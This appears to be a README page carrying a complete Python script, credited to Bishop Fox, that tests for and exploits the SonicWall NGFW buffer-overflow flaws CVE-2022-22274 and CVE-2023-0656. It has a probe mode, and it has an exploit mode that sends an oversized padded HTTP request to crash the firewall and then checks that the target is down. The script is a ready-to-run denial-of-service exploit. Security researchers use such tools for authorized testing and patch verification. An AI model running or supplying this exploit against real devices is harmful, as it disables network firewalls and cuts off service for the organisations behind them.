README.md
Rendering markdown...
#!/usr/bin/env python3
#
# Vulnerability test and DoS exploit for
# SonicWall NGFW CVE-2022-22274 & CVE-2023-0656
# by Bishop Fox Team X
import sys
import time
import re
import socket
import ssl
import warnings
import argparse
def check_header(host, port):
# Check for SonicWall header
data = b"GET / HTTP/1.1\r\n\r\n"
try:
with socket.create_connection((host, port), timeout=10) as sock:
context = ssl.SSLContext()
context.verify_mode = ssl.CERT_NONE
with context.wrap_socket(sock, server_hostname=host) as ssock:
ssock.send(data)
resp = ssock.recv(256)
if b"Server: SonicWALL\r\n" in resp:
print("[+] Confirmed target is running SonicOS")
return True
else:
print("[-] Failed to confirm SonicOS on the target")
return False
except:
print("[-] Failed to connect")
return False
def test(host, port, path):
# Test for vulnerability at an arbitrary path
data = b"GET " + path + b"A" * 0x400 + b" HTTP/1.1\r\n\r\n"
try:
with socket.create_connection((host, port), timeout=5) as sock:
context = ssl.SSLContext()
context.verify_mode = ssl.CERT_NONE
with context.wrap_socket(sock, server_hostname=host) as ssock:
ssock.send(data)
resp = ssock.recv(1024)
if resp and re.match(r"HTTP/\d\.?\d? 302 Found", resp[:18].decode()):
print("[+] Target looks vulnerable! (redirected)")
return True
elif not resp:
print("[-] Target appears to be patched (empty response)")
return True
else:
try:
status = resp.decode().split(" ", 2)[1]
print(f"[-] Target does not appear to be affected (HTTP {status})")
except:
print("[-] Target does not appear to be affected")
return True
except:
print("[-] Failed to connect")
return False
def exploit(host, port, path):
# Trigger crash
print(f"[*] Triggering exploit at {path.decode()}")
data = b"GET " + path + b"A" * 0x400 + b" HTTP/1.1" + b"B" * 0x2000 + b"\r\n\r\n"
try:
with socket.create_connection((host, port), timeout=5) as sock:
context = ssl.SSLContext()
context.verify_mode = ssl.CERT_NONE
with context.wrap_socket(sock, server_hostname=host) as ssock:
ssock.send(data)
except:
print("[-] Failed to connect")
sys.exit(0)
# Check availability
time.sleep(5)
try:
socket.create_connection((host, port), timeout=5)
print("[-] Exploit failed (target responded)")
except:
print("[+] Exploit succeeded! (target unavailable)")
def main():
# Parse arguments
parser = argparse.ArgumentParser()
parser.add_argument(
"-t",
"--test",
action="store_true",
help="safely test for vulnerability (default action)",
)
parser.add_argument(
"-x",
"--exploit",
type=int,
choices=range(1, 6),
help="exploit the target (trigger a crash). 1=/resources/ 2=// 3=/atp/ 4=/stats/ 5=/Security_Services",
)
parser.add_argument(
"-s",
"--skip-header-check",
action="store_true",
help="skip initial check for SonicWALL response header",
)
parser.add_argument(
"target",
help="hostname[:port] (port defaults to 443)",
)
args = parser.parse_args()
if not args.test and not args.exploit:
args.test = True
# Ignore SSL deprecation warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
# Parse target details
port = 443
parts = args.target.count(":")
if parts > 1:
print("[!] Invalid target")
sys.exit(1)
elif parts:
host, port = args.target.rsplit(":", 1)
port = int(port)
else:
host = args.target
print(f"[*] Checking https://{host}:{port}")
# Perform header check
if not args.skip_header_check:
if not check_header(host, port):
sys.exit(0)
# Test vulnerabilities
if args.test:
print("[*] Testing CVE-2022-22274 at /resources/")
if not test(host, port, b"/resources/"):
sys.exit(0)
print("[*] Testing CVE-2022-22274 at //")
if not test(host, port, b"//"):
sys.exit(0)
print("[*] Testing CVE-2022-22274 at /atp/")
if not test(host, port, b"/atp/"):
sys.exit(0)
print("[*] Testing CVE-2023-0656 at /stats/")
if not test(host, port, b"/stats/"):
sys.exit(0)
print("[*] Testing CVE-2023-0656 at /Security_Services")
if not test(host, port, b"/Security_Services"):
sys.exit(0)
# Exploit vulnerability
if args.exploit:
paths = [b"/resources/", b"//", b"/atp/", b"/stats/", b"/Security_Services"]
exploit(host, port, paths[args.exploit - 1])
if __name__ == "__main__":
main()